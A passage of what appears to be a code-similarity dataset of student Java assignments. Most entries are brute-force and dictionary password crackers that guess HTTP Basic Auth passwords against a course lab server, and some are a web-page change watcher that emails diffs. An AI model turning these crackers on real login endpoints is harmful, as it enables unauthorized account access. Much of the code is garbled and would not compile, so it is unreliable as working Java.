\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\
\ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\
\ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\
\ {\n strFilepath = filepath;\n try {\n fWordFile = new\
\ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\
\ }\n catch(Exception e)\n {\n System.out.println(\"\
Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\
\ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\
\ try {\n strCurrWord = in.readLine();\n \n \
\ \n \n }\n catch (Exception e)\n {\n \
\ \n return null;\n }\n \n return\
\ strCurrWord;\n }\n \n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class SendEMail {\n\n public\
\ void SendEMail(){}\n\npublic void sendMail(String recipient,String c, String\
\ subject){\n try {\n\n Socket s = new Socket(\"yallara.cs.rmit.edu.\"\
, 25);\n BufferedReader in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO theWorld\");\n \n \n send(in, out, \"MAIL FROM: <watch@dog.>\"\
);\n send(in, out, \"RCPT : \"+recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \"+ subject);\n send(out, \"From: WatchDog.java\"\
);\n send (out, \"\\n\");\n \n BufferedReader reader;\n String\
\ line;\n reader = new BufferedReader(new InputStreamReader(new FileInputStream()));\n\
\ line = reader.readLine();\n while (line != null){\n send(out,\
\ line);\n line = reader.readLine();\n }\n send(out, \"\\n.\\\
n\");\n send(in, out, \"QUIT\");\n s.print();\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\
import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\
\ URL url;\n private HttpURLConnection connection ;\n private int stopTime\
\ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\
\ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \
\ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\
\ }\n\n public static void main (String args[])\n {\n BruteForce bf\
\ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\
\ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\
\ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\
\ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\
\ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] +\
\ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\
\ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n }\n }\n }\n }\n \n public\
\ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\
\ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\
\ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\
\ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \
\ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n }\n }\n }\n\n \n public void decision(String\
\ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \
\ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\
\";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\
\ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\
\ <username>\");\n \treturn;\n \t\n \t}\n String username\
\ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\
\ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\
\ method attack \"+username+\"'s password.Please waiting.......\");\n\n \
\ for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\
\ \n \treturn;\n\n }\n\n for\
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ System.out.println (\"Finish \" + new Date());\n \
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ \n System.out.println (\"Finish \" + new\
\ Date());\n \n \t return;\n\n \
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\
\ = 0;\n private int startTime;\n private int totalTime = 0;\n \
\ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\
\ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \
\ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\
\ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\
\ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\
\ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\
\ {\n return startTime;\n }\n\n public void setTotalTime( int\
\ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\
\ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\
\ getPasswordAt( int index )\n {\n return password[index];\n }\n\
} \n"
- "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\n\
import java.net.*;\n\n\n\npublic class Dictionary\n{\n private URL url;\n \
\ private HttpURLConnection connection ;\n private int stopTime = 0;\n private\
\ int startTime = 0;\n private int count = 0;\n\n public Dictionary()\n \
\ {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n\
\ findWords();\n }\n\n public static void main(String args[])\n {\n\
\ Dictionary sc = new Dictionary();\n }\n \n \n public void findWords()\n\
\ {\n try\n {\n BufferedReader input = new BufferedReader(new\
\ FileReader (\"words\"));\n String text;\n while ((text = input.readLine())\
\ != null)\n {\n if ((text.length() == 3) || (text.length()\
\ == 2))\n {\n count++;\n decision(text);\n\
\ }\n\n }\n\n }\n catch (IOException io)\n \
\ {\n System.out.println(\"File Error: \" + io.getMessage());\n }\n\
\ }\n \n \n public void decision(String s1)\n {\n if (find(s1)\
\ == 200)\n {\n stopTime = System.currentTimeMillis();\n \
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\n\
import java.util.*;\n\npublic class MyClient1 implements Runnable\n{\n private\
\ String hostname;\n private int port;\n private String filename;\n private\
\ Socket s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private Dictionary myMaster;\n \n\n public MyClient1(Dictionary\
\ dic, int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(bf.hasMoreTokens())\n\
\ {\n tokens[i] =bf .nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.recieve();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\nimport java.Runtime.*;\n\
import java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
\n\npublic class ReadFile\n{\n private StringTokenizer tokenizer;\n private\
\ BufferedReader bf;\n private String line;\n private String first;\n Vector\
\ in = new Vector();\n \n public void loadFile()throws NoSuchElementException,\
\ IOException\n {\n System.out.println(\"in loadFile\");\n try{\n bf\
\ = new BufferedReader(new FileReader(\"words\"));\n }\n catch(FileNotFoundException\
\ fe){}\n catch(IOException io){}\n while((line = bf.readLine())!=null)\n\
\ {\n\n int index = 0;\n tokenizer = new StringTokenizer(line);\n\
\ try\n\t {\n\t first = tokenizer.nextToken();\n\t \n\t \n\
\t if (first.length() == 3)\n\t {\n\t\tin.add(first);\n\t }\n\t }\n\
\ catch(NoSuchElementException n)\n\t {\n System.out.println(\"\
File Loaded Succesfully\");\n\n }\n\n }\n }\n public Vector getVector()\n\
\ {\n return in;\n }\n public static void main (String args[])\n {\n\
\ Vector v = new Vector();\n try\n {\n System.out.println(\"\
in \");\n\t ReadFile rf = new ReadFile();\n rf.loadFile();\n v =\
\ rf.getVector();\n\t \n }\n catch(IOException e)\n {\n System.out.println(e);\n\
\ }\n System.out.println(\"size:\" + v.size());\n for (int i = 0;\
\ i< v.size(); i++)\n {\n System.out.println(i+1+ \":\" + v.elementAt(i));\n\
\ }\n \n \n }\n \n}\n"
- "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\
\ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String\
\ hostname;\n private int port;\n private String filename;\n private Socket\
\ s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce\
\ bf , int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n\
\ {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.receive();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
- "\n\nimport java.util.*;\nimport java.text.*;\nimport java.io.*;\nimport java.*;\n\
import java.net.*;\n\npublic class WatchDog\n{\n public static void main(String\
\ args[])\n {\n String s = null;\n String webpage = \"http://www.cs.rmit.edu./students/\"\
;\n \n \n String file1 = \"file1\";\n String file2 = \"file2\"\
;\n \n try\n {\n Process p = Runtime.getRuntime().exec(\"\
wget -O \" + file1 + \" \" + webpage);\n \n BufferedReader stdInput\
\ = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while ((s\
\ = stdInput.readLine()) != null) { \n System.out.println(s);\n \
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \n \
\ try\n {\n p.waitFor(); \n }\n catch\
\ (InterruptedException g) \n {\n } \n }\n catch (IOException\
\ e) {\n System.out.println(\"exception happened - here's what I know:\
\ \");\n e.printStackTrace();\n System.exit(-1);\n }\n \
\ \n while (true) \n {\n try\n {\n Process\
\ p = Runtime.getRuntime().exec(\"sleep 86400\"); \n \n \
\ BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while\
\ ((s = stdInput.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ } \n }\n catch (IOException e) \n {\n System.out.println(\"\
exception happened - here's what I know: \");\n e.printStackTrace();\n\
\ System.exit(-1);\n } \n try \n {\n \
\ Process p = Runtime.getRuntime().exec(\"wget -O \" + file2 + \" \" + webpage);\n\
\ \n BufferedReader stdInput = new BufferedReader(new \n\
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader\
\ stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
\n \n while ((s = stdInput.readLine()) != null) { \n \
\ System.out.println(s);\n }\n \n \
\ \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n try\n {\n p.waitFor();\
\ \n }\n catch (InterruptedException g) \n {\n\
\ } \n \n }\n catch (IOException e) \n \
\ {\n System.out.println(\"exception happened - here's what I\
\ know: \");\n e.printStackTrace();\n System.exit(-1);\n\
\ }\n try \n {\n \n Process p =\
\ Runtime.getRuntime().exec(\"diff \" + file1 + \" \" + file2);\n \n\
\ BufferedReader stdInput = new BufferedReader(new \n \
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError\
\ = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\
\ \n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ }\n \n if ((p.exitValue()) == 1) \n { \n \
\ \n String mailServerURL = \"yallara.cs.rmit.edu.\";\n\
\ String host = \"yallara.cs.rmit.edu.\";\n String\
\ from = \"@yallara.cs.rmit.edu.\";\n \n String subject\
\ = \"Change Detected In WatchDog.java\";\n \n try\n \
\ {\n \t\n Socket csoc=new Socket(mailServerURL,25);\n\
\ BufferedReader in=new BufferedReader(\n \
\ new InputStreamReader(csoc.getInputStream()));\n \n\
\ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n\
\ System.out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\
\ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\
\ System.out.println(in.readLine());\n System.out.println(\"\
DATA\");\n System.out.println(in.readLine());\n \
\ System.out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\
\ \n \n while ((s = stdInput.readLine())\
\ != null){\n System.out.println(s);\n }\n\
\ out.println(\".\");\n System.out.println(in.readLine());\n\
\ System.out.println(\"QUIT\");\n System.out.println(in.readLine());\
\ \n }\n catch(Exception e)\n \
\ {\n e.printStackTrace();\n System.out.println(\"\
Some error occoured while communicating server\");\n }\n \
\ } \n }\n catch (IOException e) \n {\n \
\ System.out.println(\"exception happened - here's what I know: \");\n\
\ e.printStackTrace();\n System.exit(-1);\n }\n\
\ } \n }\n}"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\
\ java.util.*;\n\npublic class Dictionary {\n public static void main (String[]\
\ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\
\ InputStreamReader(System.in));\n\n d = new Date().getTime();\n \
\ FileReader fr = new FileReader(\"/usr/share/lib/dict/words\");\n BufferedReader\
\ bufr = new BufferedReader(fr);\n String word = bufr.readLine(); \
\ \n int total = 960;\n String[] pws = new String[total];\n\
\ int count = 0;\n while (word!=null){\n if (word.length()<=3)\
\ { pws[count] = word; count++;}\n\tword = bufr.readLine();\n }\n \
\ \n int i=0;\n int response = 0;\n for (i=0;i<count;i++){\n\
\ String uname = \"\";\n String userinfo = uname + \":\" + pws[i];\n\
\ try{\n String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
